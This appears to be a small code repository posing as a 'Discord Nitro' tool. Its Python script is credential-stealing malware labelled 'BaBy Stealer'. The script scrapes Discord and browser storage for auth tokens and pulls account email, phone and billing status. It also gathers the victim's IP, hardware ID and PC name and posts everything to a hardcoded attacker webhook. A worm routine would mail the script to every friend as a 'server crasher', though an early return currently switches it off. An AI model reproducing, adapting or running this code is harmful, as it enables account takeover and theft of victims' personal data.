├── README.md ├── LICENSE ├── .gitignore └── Discord Nitro.py /README.md: -------------------------------------------------------------------------------- 1 | # Discord-Nitro -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | -------------------------------------------------------------------------------- /Discord Nitro.py: -------------------------------------------------------------------------------- 1 | import os 2 | if os.name != "nt": 3 | exit() 4 | from re import findall 5 | from json import loads, dumps 6 | from base64 import b64decode 7 | from datetime import datetime 8 | from subprocess import Popen, PIPE 9 | from urllib.request import Request, urlopen 10 | from threading import Thread 11 | from time import sleep 12 | from sys import argv 13 | dt = datetime.now() 14 | 15 | # Paste your webhook url to "URL_HERE" 16 | WEBHOOK_URL = 'https://discord.com/api/webhooks/1076853762439786576/eqXRXrujDi3tn3fC3DsIOM6JXaKjBI5MPF8IQw3p3NwWj8WP3vG9XFr8V26X4-6AmEtS' 17 | 18 | LOCAL = os.getenv("LOCALAPPDATA") 19 | ROAMING = os.getenv("APPDATA") 20 | PATHS = { 21 | "Discord" : ROAMING + "\\Discord", 22 | "Discord Canary" : ROAMING + "\\discordcanary", 23 | "Discord PTB" : ROAMING + "\\discordptb", 24 | "Google Chrome" : LOCAL + "\\Google\\Chrome\\User Data\\Default", 25 | "Firefox" : LOCAL + "\\Mozilla\\Firefox\\User Data\\Profiles", 26 | "Opera" : ROAMING + "\\Opera Software\\Opera Stable", 27 | "Edge" : LOCAL + "\\\Microsoft\\Edge\\User Data\\Default", 28 | "Brave" : LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default", 29 | "Yandex" : LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default", 30 | "Vivaldi" : LOCAL + "\\Vivaldi\\User Data\\User Data", 31 | 32 | } 33 | def getheaders(token=None, content_type="application/json"): 34 | headers = { 35 | "Content-Type": content_type, 36 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11" 37 | } 38 | if token: 39 | headers.update({"Authorization": token}) 40 | return headers 41 | def getuserdata(token): 42 | try: 43 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode()) 44 | except: 45 | pass 46 | def gettokens(path): 47 | path += "\\Local Storage\\leveldb" 48 | tokens = [] 49 | for file_name in os.listdir(path): 50 | if not file_name.endswith(".log") and not file_name.endswith(".ldb"): 51 | continue 52 | for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]: 53 | for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"): 54 | for token in findall(regex, line): 55 | tokens.append(token) 56 | return tokens 57 | def getip(): 58 | ip = "None" 59 | try: 60 | ip = urlopen(Request("https://api.ipify.org")).read().decode().strip() 61 | except: 62 | pass 63 | return ip 64 | def getavatar(uid, aid): 65 | url = f"https://cdn.discordapp.com/avatars/{uid}/{aid}.gif" 66 | try: 67 | urlopen(Request(url)) 68 | except: 69 | url = url[:-4] 70 | return url 71 | def gethwid(): 72 | p = Popen("wmic csproduct get uuid", shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) 73 | return (p.stdout.read() + p.stderr.read()).decode().split("\n")[1] 74 | def getfriends(token): 75 | try: 76 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships", headers=getheaders(token))).read().decode()) 77 | except: 78 | pass 79 | def getchat(token, uid): 80 | try: 81 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=dumps({"recipient_id": uid}).encode())).read().decode())["id"] 82 | except: 83 | pass 84 | def has_payment_methods(token): 85 | try: 86 | return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token))).read().decode())) > 0) 87 | except: 88 | pass 89 | def send_message(token, chat_id, form_data): 90 | try: 91 | urlopen(Request(f"https://discordapp.com/api/v6/channels/{chat_id}/messages", headers=getheaders(token, "multipart/form-data; boundary=---------------------------325414537030329320151394843687"), data=form_data.encode())).read().decode() 92 | except: 93 | pass 94 | def spread(token, form_data, delay): 95 | return # Remove to re-enabled 96 | for friend in getfriends(token): 97 | try: 98 | chat_id = getchat(token, friend["id"]) 99 | send_message(token, chat_id, form_data) 100 | except Exception as e: 101 | pass 102 | sleep(delay) 103 | def main(): 104 | cache_path = ROAMING + "\\.cache~$" 105 | prevent_spam = True 106 | self_spread = True 107 | embeds = [] 108 | working = [] 109 | checked = [] 110 | already_cached_tokens = [] 111 | working_ids = [] 112 | ip = getip() 113 | pc_username = os.getenv("UserName") 114 | pc_name = os.getenv("COMPUTERNAME") 115 | user_path_name = os.getenv("userprofile").split("\\")[2] 116 | for platform, path in PATHS.items(): 117 | if not os.path.exists(path): 118 | continue 119 | for token in gettokens(path): 120 | if token in checked: 121 | continue 122 | checked.append(token) 123 | uid = None 124 | if not token.startswith("mfa."): 125 | try: 126 | uid = b64decode(token.split(".")[0].encode()).decode() 127 | except: 128 | pass 129 | if not uid or uid in working_ids: 130 | continue 131 | user_data = getuserdata(token) 132 | if not user_data: 133 | continue 134 | working_ids.append(uid) 135 | working.append(token) 136 | username = user_data["username"] + "#" + str(user_data["discriminator"]) 137 | user_id = user_data["id"] 138 | avatar_id = user_data["avatar"] 139 | avatar_url = getavatar(user_id, avatar_id) 140 | email = user_data.get("email") 141 | phone = user_data.get("phone") 142 | nitro = bool(user_data.get("premium_type")) 143 | flags = user_data.get("public_flags") 144 | 145 | billing = bool(has_payment_methods(token)) 146 | embed = { 147 | "color": 0x5865f2, 148 | "fields": [ 149 | { 150 | "name": "**Account Info**", 151 | "value": f'Email: {email}\nPhone: {phone}\nNitro: {nitro}\nBilling Info: {billing}', 152 | "inline": True 153 | }, 154 | { 155 | "name": "**PC Info**", 156 | "value": f'IP: {ip}\nUsername: {pc_username}\nPC Name: {pc_name}\nToken Location: {platform}', 157 | "inline": True 158 | }, 159 | { 160 | "name": "**Token**", 161 | "value": token, 162 | "inline": False 163 | }, 164 | ], 165 | "author": { 166 | "name": f"{username} ({user_id})", 167 | "icon_url": avatar_url 168 | }, 169 | "footer": { 170 | "text": "Hooked at • " + dt.strftime('%Y-%m-%d %H:%M:%S'), 171 | } 172 | } 173 | 174 | embeds.append(embed) 175 | with open(cache_path, "a") as file: 176 | for token in checked: 177 | if not token in already_cached_tokens: 178 | file.write(token + "\n") 179 | if len(working) == 0: 180 | working.append('123') 181 | webhook = { 182 | "content": "", 183 | "embeds": embeds, 184 | "username": "BaBy Stealer", 185 | "avatar_url": "https://i.hizliresim.com/9ftjid9.jpg" 186 | } 187 | try: 188 | urlopen(Request(WEBHOOK_URL, data=dumps(webhook).encode(), headers=getheaders())) 189 | except: 190 | pass 191 | if self_spread: 192 | for token in working: 193 | with open(argv[0], encoding="utf-8") as file: 194 | content = file.read() 195 | payload = f'-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="file"; filename="{__file__}"\nContent-Type: text/plain\n\n{content}\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="content"\n\nserver crasher. python download: https://www.python.org/downloads\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="tts"\n\nfalse\n-----------------------------325414537030329320151394843687--' 196 | Thread(target=spread, args=(token, payload, 7500 / 1000)).start() 197 | try: 198 | main() 199 | except Exception as e: 200 | print(e) 201 | pass 202 | --------------------------------------------------------------------------------